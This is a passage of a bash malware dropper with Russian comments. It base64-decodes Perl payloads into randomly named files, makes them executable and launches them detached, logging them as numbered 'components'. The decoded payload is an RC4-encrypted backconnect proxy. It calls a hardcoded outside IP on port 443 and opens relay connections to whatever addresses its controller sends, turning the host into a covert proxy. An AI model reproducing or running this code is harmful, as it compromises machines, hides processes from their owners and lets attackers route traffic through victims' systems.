ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #24 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #24 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 25 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xODEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #25 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" 